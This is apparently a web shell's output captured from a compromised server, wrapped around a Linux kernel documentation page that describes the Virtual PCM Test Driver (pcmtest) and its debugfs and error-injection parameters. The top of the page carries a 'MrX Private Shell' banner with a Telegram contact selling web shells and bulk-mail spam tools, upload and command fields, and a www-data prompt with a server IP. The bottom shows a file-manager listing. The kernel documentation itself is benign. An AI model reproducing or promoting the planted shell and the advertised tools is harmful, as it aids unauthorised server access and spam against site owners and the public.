__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.151: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>The Virtual PCM Test Driver &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Codec-Specific Information" href="../codecs/index.html" />
    <link rel="prev" title="Imagination Technologies SPDIF Input Controllers" href="img-spdif-in.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/sound/cards/pcmtest.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="the-virtual-pcm-test-driver">
<h1>The Virtual PCM Test Driver<a class="headerlink" href="#the-virtual-pcm-test-driver" title="Link to this heading">¶</a></h1>
<p>The Virtual PCM Test Driver emulates a generic PCM device, and can be used for
testing/fuzzing of the userspace ALSA applications, as well as for testing/fuzzing of
the PCM middle layer. Additionally, it can be used for simulating hard to reproduce
problems with PCM devices.</p>
<section id="what-can-this-driver-do">
<h2>What can this driver do?<a class="headerlink" href="#what-can-this-driver-do" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>At this moment the driver can do the following things:</dt><dd><ul class="simple">
<li><p>Simulate both capture and playback processes</p></li>
<li><p>Generate random or pattern-based capturing data</p></li>
<li><p>Inject delays into the playback and capturing processes</p></li>
<li><p>Inject errors during the PCM callbacks</p></li>
</ul>
</dd>
</dl>
<p>It supports up to 8 substreams and 4 channels. Also it supports both interleaved and
non-interleaved access modes.</p>
<p>Also, this driver can check the playback stream for containing the predefined pattern,
which is used in the corresponding selftest (alsa/pcmtest-test.sh) to check the PCM middle
layer data transferring functionality. Additionally, this driver redefines the default
RESET ioctl, and the selftest covers this PCM API functionality as well.</p>
<section id="configuration">
<h3>Configuration<a class="headerlink" href="#configuration" title="Link to this heading">¶</a></h3>
<p>The driver has several parameters besides the common ALSA module parameters:</p>
<blockquote>
<div><ul class="simple">
<li><p>fill_mode (bool) - Buffer fill mode (see below)</p></li>
<li><p>inject_delay (int)</p></li>
<li><p>inject_hwpars_err (bool)</p></li>
<li><p>inject_prepare_err (bool)</p></li>
<li><p>inject_trigger_err (bool)</p></li>
</ul>
</div></blockquote>
</section>
<section id="capture-data-generation">
<h3>Capture Data Generation<a class="headerlink" href="#capture-data-generation" title="Link to this heading">¶</a></h3>
<p>The driver has two modes of data generation: the first (0 in the fill_mode parameter)
means random data generation, the second (1 in the fill_mode) - pattern-based
data generation. Let’s look at the second mode.</p>
<p>First of all, you may want to specify the pattern for data generation. You can do it
by writing the pattern to the debugfs file. There are pattern buffer debugfs entries
for each channel, as well as entries which contain the pattern buffer length.</p>
<blockquote>
<div><ul class="simple">
<li><p>/sys/kernel/debug/pcmtest/fill_pattern[0-3]</p></li>
<li><p>/sys/kernel/debug/pcmtest/fill_pattern[0-3]_len</p></li>
</ul>
</div></blockquote>
<p>To set the pattern for the channel 0 you can execute the following command:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>mycoolpattern<span class="w"> </span>&gt;<span class="w"> </span>/sys/kernel/debug/pcmtest/fill_pattern0
</pre></div>
</div>
<p>Then, after every capture action performed on the ‘pcmtest’ device the buffer for the
channel 0 will contain ‘mycoolpatternmycoolpatternmycoolpatternmy...’.</p>
<p>The pattern itself can be up to 4096 bytes long.</p>
</section>
<section id="delay-injection">
<h3>Delay injection<a class="headerlink" href="#delay-injection" title="Link to this heading">¶</a></h3>
<p>The driver has ‘inject_delay’ parameter, which has very self-descriptive name and
can be used for time delay/speedup simulations. The parameter has integer type, and
it means the delay added between module’s internal timer ticks.</p>
<p>If the ‘inject_delay’ value is positive, the buffer will be filled slower, if it is
negative - faster. You can try it yourself by starting a recording in any
audiorecording application (like Audacity) and selecting the ‘pcmtest’ device as a
source.</p>
<p>This parameter can be also used for generating a huge amount of sound data in a very
short period of time (with the negative ‘inject_delay’ value).</p>
</section>
<section id="errors-injection">
<h3>Errors injection<a class="headerlink" href="#errors-injection" title="Link to this heading">¶</a></h3>
<p>This module can be used for injecting errors into the PCM communication process. This
action can help you to figure out how the userspace ALSA program behaves under unusual
circumstances.</p>
<p>For example, you can make all ‘hw_params’ PCM callback calls return EBUSY error by
writing ‘1’ to the ‘inject_hwpars_err’ module parameter:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>/sys/module/snd_pcmtest/parameters/inject_hwpars_err
</pre></div>
</div>
<p>Errors can be injected into the following PCM callbacks:</p>
<blockquote>
<div><ul class="simple">
<li><p>hw_params (EBUSY)</p></li>
<li><p>prepare (EINVAL)</p></li>
<li><p>trigger (EINVAL)</p></li>
</ul>
</div></blockquote>
</section>
<section id="playback-test">
<h3>Playback test<a class="headerlink" href="#playback-test" title="Link to this heading">¶</a></h3>
<p>This driver can be also used for the playback functionality testing - every time you
write the playback data to the ‘pcmtest’ PCM device and close it, the driver checks the
buffer for containing the looped pattern (which is specified in the fill_pattern
debugfs file for each channel). If the playback buffer content represents the looped
pattern, ‘pc_test’ debugfs entry is set into ‘1’. Otherwise, the driver sets it to ‘0’.</p>
</section>
<section id="ioctl-redefinition-test">
<h3>ioctl redefinition test<a class="headerlink" href="#ioctl-redefinition-test" title="Link to this heading">¶</a></h3>
<p>The driver redefines the ‘reset’ ioctl, which is default for all PCM devices. To test
this functionality, we can trigger the reset ioctl and check the ‘ioctl_test’ debugfs
entry:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>cat<span class="w"> </span>/sys/kernel/debug/pcmtest/ioctl_test
</pre></div>
</div>
<p>If the ioctl is triggered successfully, this file will contain ‘1’, and ‘0’ otherwise.</p>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/sound/cards/pcmtest.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
audigy-mixer.html File 27.3 KB 0644
audiophile-usb.html File 34.87 KB 0644
bt87x.html File 11.98 KB 0644
cmipci.html File 20.12 KB 0644
emu-mixer.html File 21.88 KB 0644
emu10k1-jack.html File 13.23 KB 0644
hdspm.html File 21.08 KB 0644
img-spdif-in.html File 10.37 KB 0644
index.html File 15.84 KB 0644
joystick.html File 13.8 KB 0644
maya44.html File 16.12 KB 0644
mixart.html File 13.18 KB 0644
pcmtest.html File 14.32 KB 0644
sb-live-mixer.html File 35.37 KB 0644
serial-u16550.html File 12.94 KB 0644
via82xx-mixer.html File 8.69 KB 0644
Filemanager